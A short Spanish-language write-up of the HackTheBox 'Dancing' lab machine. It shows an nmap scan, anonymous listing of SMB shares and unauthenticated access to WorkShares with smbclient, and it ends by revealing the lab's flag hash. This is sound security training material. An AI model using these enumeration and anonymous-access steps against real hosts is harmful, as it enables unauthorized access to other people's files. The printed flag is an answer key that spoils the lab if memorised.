

HackTheBox

Máquina: Dancing
Pablo José Pérez Díez

Escaneo inicial:

```
(pabli@kali)-[~]
$ sudo nmap -sV -O -T4 10.129.238.75
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:30
Nmap scan report for 10.129.238.75
Host is up (0.13s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
5985/tcp   open  http            Microsoft HTTPAPI httpd 2.0 (SS
No exact OS matches for host (If you know what OS is running
TCP/IP fingerprint:
OS:SCAN(V-7.05%F-4%D-8/22%OT-125%CT-1%CU-1.06/7%DV-V%D-38%DC-
```

Como podemos observar los puertos 139 y 445 (microsoft-ds) están abiertos, lo que indica que SMB está corriendo en el objetivo.

Listamos los recursos e intentamos analizar el contenido de workShares:

```
(pabli@kali)-[~]
$ smbclient -L //10.129.238.75
Password for [WORKGROUP\pabli]:
Sharename      Type           Comment
-----
ADMIN$         Disk           Remote Admin
C$             Disk           Default share
IPC$           IPC            Remote IPC
WorkShares     Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.238.75 failed (Error NT_STA
Unable to connect with SMB1 -- no workgroup available
```

Dentro del directorio de James.P encontramos la flag.txt para completar el CTF.

```
(pabli@kali)-[~]
$ smbclient //10.129.238.75/WorkShares
Password for [WORKGROUP\pabli]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Mon Mar 29 10:22:01 2021
..               D          0   Mon Mar 29 10:22:01 2021
Amy.J            D          0   Mon Mar 29 11:08:24 2021
James.P          D          0   Thu Jun  3 10:38:03 2021

5114111 blocks of size 4096. 1750476 blocks available
smb: \> ls James.P\
.                D          0   Thu Jun  3 10:38:03 2021
..               D          0   Thu Jun  3 10:38:03 2021
flag.txt         A         32   Mon Mar 29 11:26:57 2021

5114111 blocks of size 4096. 1750476 blocks available
smb: \> get James.P\flag.txt
getting file \James.P\flag.txt of size 32 as James.P\flag.txt (0,0 KiloBytes/sec) (average 0,0 KiloBytes/sec)
smb: \> exit

(pabli@kali)-[~]
$ ls
Descargas  Documentos  Escritorio  Imágenes  'James.P\flag.txt'  Música  Plantillas  Público  Vídeos

(pabli@kali)-[~]
$ cat James.P\flag.txt
5f61c10dffbc77a704d76016a22f1664
```